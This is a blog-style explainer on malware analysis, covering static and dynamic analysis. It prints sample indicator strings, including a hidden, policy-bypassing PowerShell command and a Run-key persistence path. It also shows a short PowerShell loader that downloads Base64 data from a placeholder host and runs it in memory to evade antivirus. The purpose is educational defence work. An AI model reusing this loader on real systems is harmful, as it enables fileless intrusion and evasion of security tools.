Back in the day, everything was simpler. To figure out if a file was malicious, we'd just check its hash value, and if we saw red on VirusTotal, we'd say 'Alright, let's toss this friend into quarantine.' But nowadays, nobody trusts signature-based protection alone. What if that file can change itself? Or worse, what if it leaves no trace on the disk (fileless) and just dances around in the memory?
Today, we're going into the 'kitchen.' Let’s have a candid talk about how we unmask a 'chameleon' trying to infiltrate our systems at testCompany and what actually happens in those famous malware analysis labs. Grab a fresh coffee; we’re diving in.
The Labyrinth Called Analysis
When a suspicious file lands on your desk (let’s say it has a classic name like invoice_details.exe.lnk), the curious hacker inside you immediately asks, 'What happens if I double-click it?' Don’t. Just don't. The analysis process moves forward through two main branches: Static and Dynamic.
In static analysis, we take an X-ray of the file without ever running it. We look for answers to questions like: 'What strings are inside?', 'Which libraries is it calling (Import Table)?', and 'Is a packer (compressor) being used?' In dynamic analysis, we release the file in a controlled environment (Sandbox) and watch what kind of trouble it stirs up. Which IP did it connect to? Which key did it modify in the Registry? Which file did it encrypt?
First Stop: The Silence of Static Analysis
When we lay the file on the analysis bench, the first thing we look at is the PE (Portable Executable) structure. If a file uses functions like GetProcAddress or LoadLibrary too frequently, know that it’s trying to hide what it’s actually doing (Dynamic API Loading).
In a sample static analysis output, you might see suspicious strings like these:
// Defanged Example Strings
http://example.com/gate.php
C:\Windows\Temp\update_service.exe
Software\Microsoft\Windows\CurrentVersion\Run
cmd.exe /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden ...
Seeing that Run key is proof that this friend wants to say 'I'm here' every time the system boots (Persistence). But be careful—sometimes attackers sprinkle thousands of meaningless strings to mislead analysis tools. We call this 'junk code.'
Dynamic Analysis: Under the Spotlights
We’ve run the file in a secure virtual machine that is internet-restricted and has every move logged. This is the fun part. We see the attacker triggering the 'Stage 1' payload.
They usually follow a flow like this:
# Defanged PowerShell Payload Example
# Purpose: Executing code in memory
$u = "http://127.0.0.1/totally_not_malware.txt"
$c = New-Object System.Net.WebClient
$d = $c.DownloadString($u)
$i = [System.Convert]::FromBase64String($d)
[System.Reflection.Assembly]::Load($i).EntryPoint.Invoke($null, $null)
What’s happening in this code? PowerShell goes and pulls Base64 encoded data from a remote server (which we set to localhost here). Then, it decodes it and uses reflection to load it directly into memory and execute it. The goal is simple: bypass the EDR/Antivirus by never touching the disk.